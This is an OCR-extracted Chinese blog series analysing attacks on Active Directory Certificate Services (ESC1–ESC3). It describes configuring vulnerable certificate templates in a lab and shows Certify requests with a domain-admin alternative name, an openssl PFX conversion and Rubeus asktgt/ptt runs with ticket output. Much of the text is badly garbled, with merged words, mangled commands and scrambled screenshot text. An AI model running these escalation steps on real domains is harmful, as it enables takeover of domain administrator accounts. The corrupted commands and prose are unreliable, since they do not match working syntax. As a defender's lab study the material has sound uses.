2024针对域证书服务的攻击分析.docx
针对域证书服务的攻击分析(1)OxOO前言关于域证书服务攻击的白皮书出来大半个月了https:WWW.sDecterws.ioassetsresourcesCertifiedPeOWned.Ddf,下文以白皮书代指。作者也在BH21后放出了利用工具。在前期大家的主要关注点都集中在NT1.MrelayadCSHTTP来获取域控权限的ESC8上。其实白皮书中关于攻击项的技术有19个,我计划边学边写。这个过程中难免出错,望指正。昨天我把域环境搭建好,同时也在其中一台服务器上开启了ADCS服务,打算试试Certify和FOrgeeert工具。在测试Certify工具的时候,看到github的issue的几个讨论,就有不好的预感,果不其然,在编译的时候就报错了。蜻出显示出来源:生成三1>已启动全部重新生成:项目:Certify,酉2蛋:ReIeaSeAnyCPU1>CSC:errorCS1617:laIgYerSiOn的选项"9.0”无效O使用"Z1.angversion:?"列出支持的值O全部重新生成:成功。个,失败1个,跳过0个我的编译环境是:WinlO2004、VS2019.NET4,解决比较简单,修改Certify.csproj文件中多处:<1.angversion>0.9<1.angverson>改为<1.angverson>default<1.angversion>然后在非域用户登录的域内机器上执行1.:UsersredteamDesktopCertify,exefind/vulnerable/domainI*Action:Findcertificatetemplates*Usingthesearchbase,CN=Configuration,DC=redteamlab,DC=com,!UnhandledCertifyexception:System.Runtime.InteropServices.COMException(0x8007054B):指定的域不存在,或无法联系。在System.DirectoryServices.DirectoryEntry.Bind(BooleanthrowIfFail)在System.DirectoryServices.DirectoryEntry.Bind()在System.DirectoryServices.DirectoryEntry.get_AdsObject()在System.DirectoryServices.DirectorySearcher.FindAlKBooleanfindMoreThanOne)在Certify.1.ib.1.dapOperations.GetEnterpriseCAs(StringcaName)在Certify.Commands.Find.FindTemplates(BooleanoutputJSON)在Certify.CommandCollection.ExecuteConimand(StringCommandName,Dictionary2arguments)在Certify.Program.MainExecute(StringCommandName,Dictionary2parsedArgs)Certifycompletedin00:00:00.2235080因此判定这个工具基本无法在域夕横用,但从我对原理的粗浅理解来看,是可以实现在域外利用的工具的。这儿暂时跳过,我使用域用户登录域内机器,成功执行。:Wserswinl01709Desktop>Certify.exefind/vulnerableAction:FindcertificatetemplatesUsingthesearchbase,CN=Configuration,DC=redtamlab,DC=com*1.istinginfoabouttheEnterpriseCA,redteaffllab-I,IN2019-mCA,EnterpriseCANameDNSHostnameFullNaaeFlagsCertSubjectNaioeCertThximbprintCertSerialCertStartDateCertEndDateCertChainUserSpecifiedSANCAPermissions:redteamlab-WIN2019-CA:win2019.redteamlab.co:win2019.redteamlab.coredteaalab-IIN2019-CA:SUPpORTS_KT_AUTHEKneATlON,CA_SERVERTYPE_ADVANCED:CN=redteamlab-WIN2019-CA,DC=redteamlab,DC=com:8132819A0B3586600BA3B8F6AC5B62A68B5651D0:35E1RA11.65ABA85438534F16FEO4O3D:2021/8/417:22:27:2026/8/417:32:27:CN=redteamlab-WIN2019-CA,DCredteaalabaDC=comOwner:BUI1.TINYAdministratorsS-l-5-32-544AccessRightsAllow&irollAllowManageCAtManageCertificatesAllowManageCA,ManageCertificatesAllowManageCA,ManageCertificatesEnrollnentAgentRestrictions:None÷NoVulnerableCertificatesTemplatesfound!:DisabledPrincipalXTAUTHORinfKAuthenticatedCsersSTTTlBui1.TINXAdministratorsSTT32-544REDTElAM1.ABXDomainAdminsS-l-5-21-1582299834-3486534629-3132463485-512REDTE1AM1.ABXEnterpriseAdminsS-l-5-21-1582299834-3486534629-3132463485-519tifycompletedin00:00:01.1935482瞬间就尴尬了,没有危害。还没开始就结束了。好吧,测试之前我们先来配置危害环境。(PS:文中该用''漏洞一词的地方我全部以''危害"代替,原因大家都清楚)0x02危害环境配置我们对白皮书中攻击项的利用进行分类: 窃取类 个体权限维持类(类似银票,后文以银证称呼) 权限提升类 域权限维持类(类似金票,后文以金证称呼)我们先测试里面的权限提升类,这也是大家比较关注的,其他类需要提升权限以后再利用。今天我们主要是测试ESCl,''DomainescalationviaNoIssuanceRequirements+EnrollableClientAuthentication/SmartCard1.ogonOIDtemplates+CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT”,这句话表达了3个点: 我们需要有权限去获取证书 能够登记为客户端身份验证或智能卡登录等 CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT开启我们首先创建T具有以上3个点的证书模板,使用CerttmPI.ms响建。我们复制工作站身份认证模板,在常规中修改模板显示名称为ESCI,扩展中的应用程序策略中加入客户端身份认证。使用者名称发布要求取代模板扩展安全编甯应用程序策略扩展应用程序策略定义如何使用证书.要更改扩展,请选择它,然后单击“编辑”这个模板中包括的扩展(X):日颁发策略基本约束W:密钥用法口应用程序策略证书模板信息应用程序策略的描述(D):客户端身份验证应用程序策略(0):客户端身份验证在安全中加入DomainUserS具有注册权限:密钥证明服务器常规兼容性请求处理加密使用者名称发布要求取代模板扩展安全DomainUsers的权限(P)允许拒绝完全控制:W读取:1写入、:J硼m:自动的:在使用者名称中,选择在请求中提供,也就是开启CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT。ESC1JI性常规兼容性请求处理加密密钥证明使用者名称发布要求取代模板扩展安全服务器.在请求中提施义使用现有证书中的使用者信息完成自动注册续订请求(W)()用ActiveDirectory中的信息生成(B)要加强使用者名称之间的一致性并简化证书管理,请选择这个选项。使用者名称格式四:在使用者名称中包括电子邮件名(!)将这个信息包括在另一个使用者名称中:电子邮件名但DNS名()用户主体名称(UPN)(U)服务的主体名称(SPN)Q)然后使用CertSrV.msc,发布我们创建的危害模板信用证书模板啬1CertSfV证书演发机构(本地)redteamlabW!N2019CA证翎文件(F)撰作(八)M(V)电助(三),B力证书颁发机均(本地).媪redteamlab-WIN2019-CA,吊精的证书I一颁发的证书,挂起的申清失败的申调证书模板“I名称司通QJHHisUE的iS国目录电子疆件复制W域控制器身份嫉证51Kerberost0iiE3EFstta国“本EFS厘域控制器工IWeb服务器R计Il机司用户习从属证书颁发机构3ea»在it证书激发机沟上选撵启用一个证书模板.注意:如果I1.近创建的证书模板没有出现在此列表上,则在有关此模板的信息餐制端有脸制SB之前可帔IaiR中的所有证M板可修都不适用于你的CA.有关洋蝴K息.atg¾.名梆网用途回CEPfll密/1.证书中31代理ESC1客户Sm伤验证FExchangeiimPf(IIftywai)证书申调代理GExchangefflPSlPSec3IPSec(RtfWJflI)电OCSP晌应签名目RASKJiAS服务813交叉证书SS发机内7仅Exchange卷名1BIe国ae安全电子邮件IP安全IKE中吸IP安全IKE中圾OCSP签名警户送身份验证.服务81身份睑证(全部安全电子Ie件-A!t)u:"r'.;f122:H然后刷新刷新,稍等下,使用Certify,检测危害。Certify.exefind/vulnerable危害出现了。!VulnerableCertificatesTemplates:CANameTemplateNameSchemaVersionValidityPeriodRenewalPeriodmsPKI-Certificates-Name-F1agmspki-enrollment-flagAuthorizedSignaturesRequiredPkiextendedkeyusagePermissionsEnrollmentPermissionsEnrollmentRights:redteamlab-WIN2019-CA:ESCl:2:1year,EXRsIMSVPP1.lES.SUBJECT:PUB1.ISH_TU_DS一°枳户端身份aiObjectControlPermissionsOwnerWriteOwnerPrincipalsWriteDaclPrincipalsWritePropertyPrincipalsiBEnTEaflAB11nainAd*nIREDTEAflJ1.BD<¾nainUsers的TEAM1.A队EnterPriSeAdjninS:REDIEAM1.ABXAdministrator:REDTEAM1.ABXDomainAdminsREDTEAM1.ABXEnterpriseAdmins:REDTEAM1.ABXDomainAdminsREDTEAM1.ABXEnterpriseAdnins:REDTEAM1.ABXDomainAdminsREDTEAM1.ABXEnterpriseAdminsS-l-5-21-1582299834-3486534629-3132463485-512S-l-5-21-1582299834-3486534629-3132463485-513S-l-5-21-1582299834-3486534629-31324634S5-519S-l-5-21-1582299834-3486534629-3132463485-500S-l-5-21-1582299834-3486534629-3132463485-512ST-5-21-1582299834-3486534629-3132463485-519S-l-5-21-1582299834-3486534629-3132463485-512S-l-5-21-1582299834-3486534629-3132463485-519S-l-5-21-1582299834-3486534629-3132463485-512S-l-5-21-1582299834-3486534629-3132463485-519tifycompletedin00:00:01.09864970x03ESCl利用利用就很简单了,这儿Certify.exe工具有2个D1.1.依赖,需要复制到同目录下,还没研究怎么搞成一个exe,不然使用很麻烦,我们暂时先复制D1.1.依赖测试,后面再完善利用工具。二旦日P搜索"Release,桌面>Certify-main>Certify>obj>Release>名称修改日期也大小TempPE2021/8/622:19文件夹c,.NETFramework,Version=v4.0.Assem.2021/8/622:19C#源文件:Certify.csproj.CoreCompilelnputs.cac.2021/8/80:03CACHE文件Certity.csprqj.File1.istAbsolute.txt2021/8/80:03文本文档_Certify,Csproj,ResoIveComReference.2021/8/80:03CACHE文件_CertifyxsprqjAssembIyReference1Cache2021/8/80:03CACHE文件国Certify.exe2021/8/80:03胡8Certify.ilmerge2021/8/80:03I1.MERGE文件IDesignTimeResoIveAssembIyReferen.2021/8/80:03CACHE文件DesiqnTimeResoIveAssembIyReferen.2021/8/722:41CACHE文件2lnterop.CERTC1.lUb.dll2021/8/80:03应用程序扩展1国lnterop.CERTENRO1.1.1.ib.dll2021/8/80:03应用程序扩展19lbrdlrljvl.O.OAction:RequestaCertificatesCurrentusercontext:REDTEM1.ABvinlO17O9Nosubjectnamespecified,usingcurrentcontextassubject.Template:ESClSubject:CN=WinlOl709,CN=Users,DC=redteamlab,DC=comAItName:Xiaoaiti*CertificateAuthority:vin2019.redteamlab.coBredteanlab-WIN2019-CACAResponse:Thecertificatehadbeenissued.RequestID:4cert.PefflBEGINRSAPRIVATEKEYdIEowIBKCAQEAu5HgmIQS+rIx8irODTGF1.PSBBVlZix1.aehYjUU9ncDlq11NAbTn!T0SKoHagz8*vli5kgIctPQgllqM+xu0MwPFuQ*5Q1.671SAC8vzCFzRVjt11FoziklSvBtkCQlXxJ4Ug5iMH*KffnGgXSbRIt3i1XDYe9eIplPt/PYcgb6TTM84pQ0C8bbAJzJkkIbNIImPGZnEqytTBkuTmiQn3HyhmD2U08iXwHT1.Ra1MCDjeiOUQZs0aPMcfEgaGiVXNioSEa+JXWID2oKGGRURHtIxZF4ecMQI1.riASRmX7ZlPaH63Z成功获取到证书,注意altname参数,这个需要填的是域管用户名。然后算换Pem到PfX,这个需要使用IinUX或者macos环境中的OPneSSI,我WindOWS上装有W1.S,直接开个W1.S挺方便的。opensslpkcsl2-incert.pem-keyex-CSP"MicrosoftEnhancedCryptographicProvidervl.O"-export-outcert.pfx最后使用RUbeUS获取TGT,我这儿直接就Ptt了。这儿需要注意的是要Ptt当然是需要管理员权限的。C:Userswinl01709Desktop>Rubeus.exeasktgt/userZxiaoaiticertificatecert.pfxdc:192.168.2.11pttlnfcJJ三三v2.O.OAction:AskTGTUsingPKINITwithetyperc4_hmacandsubject:CN=winl01709,CN=Users,DC=redteamlab,DC=ccm11BuildingAS-REQ(wPKINITpreauth)for:"xiaoaiti,+TGTrequestsuccessful!base64(ticket,kirbi):d。IFVjCCBbqgAWIBBaEDAgEW。IEZTCCBMIhggTFMnEWaADAgEFoRAbDIJFRFRFQI;IMQUIUQo9oiMwIaADAgECoRow(SsGa3jidGd0Gw5vZWR0ZWFtbGFi1.nXvba0CBIEwggR9oAMCARKhAwIBAqKCBG8EggRrgc8UxZXfVAIfaMCqlgcOoUkT46cTHHZdbtMMdvfpZxXYgluOAo2cNlgKCtfWaG2HpexrqSmZIBM6qYfAdDvjJESHh5qu57+qQSFV,NQpDYwnxn39atV4h91iVAwvHJ7YxYXghtTM6aD+e60P41PeIMqjF71hRrGGUoqW51QfrQTcqPtChSWxApHD03brflZzs9THQGk8hlkVMe9A7hDsY3ZX18+15idnatoMnruudc/yj3TsxeiOaB5ko+XbrS5FFMrH9vwltHZOKe5GtUBcOb4jknpBajwaiOXoUzXqXUSV4P6kOzZdCBAED4tNkP9+vxscfO6g8FlHKFWBd4GTdqjCGBmP8vZF1.zKlpUhr677du1.6PPSpWTRgpQiQ+(c2IfKuuOnSQNITYPuqgKEFjOfCFgil9jrGufHD5wEigf8uIvuQa2n+XTgNH4ZKmnraHHXd9WpQeIfhBnWcc1.P74DrgJ6cIsAHBUMlbBJmCEBARV,hlB5tHkvzsSkNzzRCCpSdbgzHf9b1.KxFtj3OMTj0VxUpaU1.8H0n70Ds5CXJCOZMwBoIYg9Bsi5Q1.QTcuZ5p+8fvMwTA2MEbrIkzOblbSqp9128WxotgZMfAT4fwelsA4qW1.HOZ3UgDlkud2uniXRfumbiC3J3swCtbw+ya5eNevoxBCezJS1.MMIFrQztoPn7702GbB60+I0PhuWZTh1.YXAqxJlPfoHt6scQr1.A5vOR87iAykWmaCfXvCUQMKXcayfdQRDD0AER85yon8vo+h4kHbtcxkwUEshU0EugBUayPFPWr5EgpgbmeodVUpk24z4Il/KT933FyDAtURlfhBjR4UmgARiBjzta5UJF9KhvrOiQ5dMQSb0x04总结这就是ESCl的错误配置利用了,本文没有涉及到原理,只从配置和攻击利用上编写,感官上可能会觉得这样的错误配置在真实环境中多么?这个我也不确定,但据作者白皮书描述多,因为这3个配置,不全是人为配置,有些是默认配置,例如Web服务器模板里面默认CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT开启,用户模板里面默认domianUSerS有注册权限,我上面演示的模板默认在应用策略配置中就有客户端认证配置。因此ESCl这样情况的错误配置应该挺常见的。原理部分我会单独写,因为我目前也是学习阶段,理解的还不够深刻,后面再补上原理分析。针对域证书服务的攻击分析(2)ESC2OxOO前言在ESCI的分析中我们遇到了T问题,就是Certify这个工具带了2个D1.1.,很不方便,刚好今天看twitter看到这么一个项目,第二件事是一个题外话,我由于本地网络问题,我环境域控修改了IP,导致域中机器Ping域控域名的时候返回127.0.0.Ie这是我没有按照正规流程修改域控IP,细节看回归今天的ESC2,ESC2和ESCl比较相似,大部分前提条件相同,具体条件如下: 低权限用户(我们这儿使用普通域用户)可以有权限注册证书 管理员审批被关闭 签名没有被要求认证 低权限用户可以使用危害模板以上都是ESCl的豺牛,下面一条是和ESCl不同的: 证书模板被设置成AnyPurposeEKU或者noEKU而在ESeI中开启CT-F1.AG-ENRO1.1.EE.SUPP1.lES.SUBJECT的要求林需要了。这种情况下我们能干什么呢?先搭建测试环境。0x01危害环境搭建因为和ESCl的变化很小,因此我们直接复制EScI模板,并改名为ESC2,然后修改应用程序策略为任何目的服务产er三xeI筑熠应用程序第潞扩展添力三用程序策略操作碱W施拿如命吗卸的ll口B口应用程序策略定义如何使用证书.应用程序策略(0):应用程序策略(在Windows20中称为增强型密钥用法)定义如何使用证书.选择这个横板颁发的证书有效签名所需的应用程序策略.应用程序策略(八):内嵌WindOwS系统组件验证平台证书生存时间签名时间戢受保护进程轻型睑证受保护进程蛤证数字权利私钥存档提前启动反恶意驱动程序文档加里文档签名添加(八).二使这个扩展成为关键扩展(M)新建(N)确定取消然后把ESCl的使用者名称改回默认值。新模板的属性X服务器发布要求取代模板扩展安全兼容性常规清求处理加密密钥证明使用者名称O在请求中提供(三)使用现苞弹中的使用者信息完成自动注册续订请求(W)(*)用ACtiVeDireCtory中的信息生成(B)要加强使用者名称之间的一致性并简化证书管理,请选择这个选项.使用者名称格式(N):无在使用者名称中包括电子邮件名(I)将这个信息包括在另一个使用者名称中:口电子邮件名(E)口DNS名(D)0x02利用测试我们还是使用ESCl的测试步骤,这里就不详细截图了(不记得的同学可以翻看ESCl的测试)结果可想而知:C:Userswinl01709Desktop>Rubeus.exeasktgt/user:xiaoaiti/certificate:Cert2.pfxdc:ad01.redtea三ptt国v2.0.0*Action:AskTGTUsingPKINITwithetyperc4_hmacandsubject:*BuildingAS-REQ(wPKINITpreauth)for:,xiaoaiti,XKRB-ERROR(75):KDC_ERR_C1.IENT_NAME_MISMATCHC:Userswinl01709Desktop>Rubeus.exeasktgt/user:WinIoI709/certificate:cert2.pfxdc:pttv2.0.0Action:AskTGT*UsingPKINITwithetyperc4-hmacandsubject:BuildingAS-REQ(wPKINITpreauth)for:'winl01709,+TGTrequestsuccessful!base64(ticket.kirbi):doIFyDCCBcSgAwIBBaEDAgEWooIEljCCBNJhggToMllEyqADAgEFoRAbDljFRFRFQviMQUIuQOgNoiMwIaADAgECoRow<3BsGa3JidGd0Gw5yZWR0ZWFtbGFi1.mXvba0CBIowggSGoAMCARKKwIBAqKCBHgEggR01.QXXNs0XDiTdcdnFfw2Flj0Bi+Mlu0NKPAd46jzA0l1.KhaIA20KrFMdTPeKfSQQRpZHAFIhzoo7jaD3XZROXbZ7mfzxgU98zJ1.ERFIoViUVSg2rXx9XMbWS0bSRDhJ1+58nm+0oepfe/1aT8IVmMBOFyCQlXS+由于我们使用者名称改回了默认值,即使在使用CerIify获取证书的时候使用了altname,并设定一个域管理用户名。证书获取不会报错,但是这个证书并不能使用这个域管理登录,系统没有采纳altname的值,而是使用当前用户WinlOl709,如下图,“用AetWeDirectory中信息生成因此最后的结构就是无法登录域控。用ACtiVeDireCtory中的信息生成(B)要加强使用者名称之间的一致性并简化证书管理,请选择这个选项.0x03总结所以这个ESC2,体感上作用太弱了。根据作者的描述,大致意思是,当使用AnyPurp。Se的时候,表示攻击者可以获取客户端认证、服务器认证、代码签名等等证书,换句话说就是能获取任何目的的证书。然后作者就没说啥了,我想说这儿应该有个但是,但是TM的没有提权啊。不是说ESC都是提权么?我WinlOl709的用户权限没变啊,虽然由于错误配置,导致我这儿用户可以搞到各种证书,但是用户权限没有变化。从ESC2被作者在06/22/21二次编辑修改过,我斗胆猜测是作者开始也搞错了,但是已经分类成ESC2了就留着吧!最后作者补充道,我们可以使用这些证书干其他的事情比如在SAM1.ADFS,orIPSeC等网络服务上利用。具体在这些服务上能够出现什么利用场景,就需要大家挖掘了,ESC2总体来说就是当前用户拥有了请求各种证书的能力,具体发挥场景还需要自己思考。除AnyPUrPoSe以外,另外一个是n。EKUs,就是应用程序策略为空。在为空的时候攻击可以签署一个从属CA证书,在这个从属CA中,攻击者可以任意修改EKU和其他属性,但是这个从属CA证书默认是不被信任的(也就是在NTAUthCertifiCateS的CACertifiCate中没有这个从属证书),那么就没法登录域控。最后感觉和AnyPUrPoSe一样,就是可以获取各种证书的能力。总体来说这个ESC2有点扯淡。不过后面还有很多内容,说不定,后面有给出从属CA的利用场景。我们回顾下ESC2和ESCl的区别就是使用者名称能不能自定义的问题,能自定义就能伪造成域管理员,因此这个配置是能够提权的关键。针对域证书服务的攻击分析(3)ESC3OxOl前言在ESCl的利用的时候,好多小伙伴遇到一个错误,借用RCoiI同学的图。解决方法也在星球,有RCoil同学形成的文档。遇到这个错误的同学可以去看下。这个错误主要是因为2016以下的系统不支持这个COM接口,因此需要改下代码。我开始以为是证书服务器16以下会出这个问题,但是我自己搭建12系统的证书服务器环境发现并没有报错,因此我怀疑是域控在16以下。这算一个遗留问题,具体这个请求是发送到域控还是证书服务器,需要后面分析,先mark下。r*oivdoutput(JNo¾A>)ctmm*pcifid,uingcurrentcontext.Mb)ot()TR>lt4:BSCl()Mbjct:CW(in,OHOMra.DCal,DC-(AlUteB:MtelAtstrator(t)QnhDdldCertifyacef>t100:XyatM.InvalixicAatXxceptlca:OnabletooaatCOMobjectoftype'CZftTKNRO1.la1.ib.CXS09rrIVAtaKayClAaa'toIntarfotype*CZinTNROUXib.XX5(MFr1.vatAKay?".ThieCPeetlCOfailedbee,UMtheQuaryXntarfAcecalleoUmOcMeaponntfortheInterfAoevilID'(728AB342-217!>-1113-B2A4-O0e7BBB2BO9)'flld<katoUmfollowln9error:Moueiatrfaeevportedftx*KR&SU1.T:0三804002(E-NOD11KRrACB).atOgmMO1.1.1.ib.CZ¼09PrIrateKeyClase.t-1.engt(lBt32pV«lue) tCertify.Crt.CreatePriv«t«Key(BooleanmcIneCootevt) tCertify.Crt.CrUrUto<MtMa9(Strin9UM4.tNMM,BooleanMahiMCOntMt,StringZ*ctJtaMStringaltJteM)(tCrtlfy.Ort.MMtCrt(Strln9d,BooleanridnCm,.Stringtaplat<MAM,Strln921jcR.Str1.n9alfM-.Booleanintall>AtCertify.Cnnd.Ke<>et.Baecute(D1.et1.oaAry2at9umoS) tCarlfy.Cn-MHtCnUxalooK-cUCn-MW(S"ag11rnn三n.Dictlohry'2A9UMnt)atCrt1fy.Progren.Ma1a(Strin*ooobmMmm.K>lotioy'2MrMdAr9)回归正题,今天时ESC3的分析,ESC3主要滥用的是错误配置了证书申请代理模板(EnrollmentAgentTemplates)f听名字你也清楚,就是一个用户代替另一个用户去申请证书。这个一听,头脑里的利用方案就出来了,一个普通域用户代替域管理员去申请证书。我们具体看下需要怎样的错误配置:模板(EnrollmentAgentTemplates)允许一个低权限用户(这里我们使用普通域用户)去注册一个代理证书。o这个条件和ESCl差不多,不需要设置使用者名称为在请求中提供,以及在扩展中修改应用程序策略的EKU为证书申请代理OID(13.6.1.4.1.311.20.2.1)另外一个模板允许一个低权限用户使用代理证书(enrollmentagentcertificate)去代表另夕I一个用户请求证书,并且这个模板的EKU里配置有允许域认证的EKU。这里有点绕啊!不用担心,我们老规矩,配置环境。0x02危害环境配置这里涉及到2个模板,我们先配置第一个模板,还是在ESCl的基础上配置,安全中的配置不变还是配置了一个domainUSerS组,来满足低权限访问,这里在实战中要举一反三,以我们当前权限为出发点,如果我们当前有一个其他权限,而刚好有个一个危害模板在这个权限下能够访问,就满足了这个条件,而不是非要domainUSerS的权限。使用者名称改回默认的用ActiVeDirectOry中的信息生成。重点修改的还是扩展中的应用程序策略,改为证书申请代理。第二个模板我们还是在ESCl上设置,名称改为ESC3,在ESCl的基础上安全不用改,使用者名称恢复默认的用ACtiVeDireCtory中的信息生成。扩展也不用改,保留里面的客户端认证EKU。下面的修改是和以往不同的。密钥证明使用者名称扩展安全如果你需要一个以上的签名,